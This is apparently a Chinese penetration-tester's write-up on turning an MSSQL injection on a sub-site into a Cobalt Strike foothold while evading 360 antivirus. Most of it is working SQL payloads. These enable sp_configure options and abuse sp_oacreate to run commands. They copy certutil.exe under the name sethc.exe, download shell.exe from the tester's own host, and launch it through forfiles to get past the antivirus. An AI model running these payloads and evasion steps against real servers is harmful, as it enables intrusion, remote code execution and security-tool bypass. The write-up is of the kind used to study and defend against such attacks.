漏洞挖掘
在一次渗透测试过程中,对主站进行漏洞挖掘无果后,对子站进行挖掘。
在子站发现mssql注入漏洞
Getshell
一、发现360
用1=(select is_srvrolemember('sysadmin'))和host_name()!=@@servername判断出权限为sa权限,且站库分离,写不了webshell。然后用sqlmap跑os-shell,发现执行命令无效。
使用EXEC sp_configure 'show advanced options',1 RECONFIGURE EXEC sp_configure 'xp_cmdshell',1 RECONFIGURE;尝试开启xp_cmdshell依旧无效。
用create table tmp(dir ntext,num int)创建表,然后用insert tmp execute master..xp_dirtree 'c:/',1将c盘目录插入表中,查看表发现360,之前命令都被360拦截了。
二、绕过360上线CS
经过上网搜索之后,发现可以用sp_oacreate执行命令。
开启sp_oacreate:
exec sp_configure 'show advanced options', 1; RECONFIGURE; exec sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;
构造命令语句,因为使用sp_oacreate执行命令是无回显的,使用dnslog平台进行判断:
Declare @runshell INT Exec SP_OACreate 'wscript.shell',@runshell out Exec SP_OAMeTHOD @runshell,'run',null,'ping who.xxxx.dnslog.cn';
但是使用certutil.exe,wmic,mshta等任然无效
利用sp_oacreate构造语句,将certutil.exe复制到c:\windows\temp\下,并重命名为sethc.exe:
declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'C:\Windows\System32\certutil.exe' ,'c:\windows\temp\sethc.exe';
在服务器上用python开启http服务,然后使用命令远程下载exe文件:
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'C:\Windows\Temp\sethc.exe -urlcache -split -f "http://ip:port/shell.exe" C:\Windows\Temp\shell.exe'
木马是传上去了,但是运行不了。。。。
最后请教Se10rc大佬,可以用forfiles /c test.exe,既:
Declare @runshell INT Exec SP_OACreate 'wscript.shell',@runshell out Exec SP_OAMeTHOD @runshell,'run',null,'forfiles /c shell.exe';
上线成功,感谢Se10rc大佬
参考链接:
https://github.com/doubleshuaibi/MssqlSeckill
https://blog.csdn.net/sandy9919/article/details/82932460
https://zhuanlan.zhihu.com/p/31111348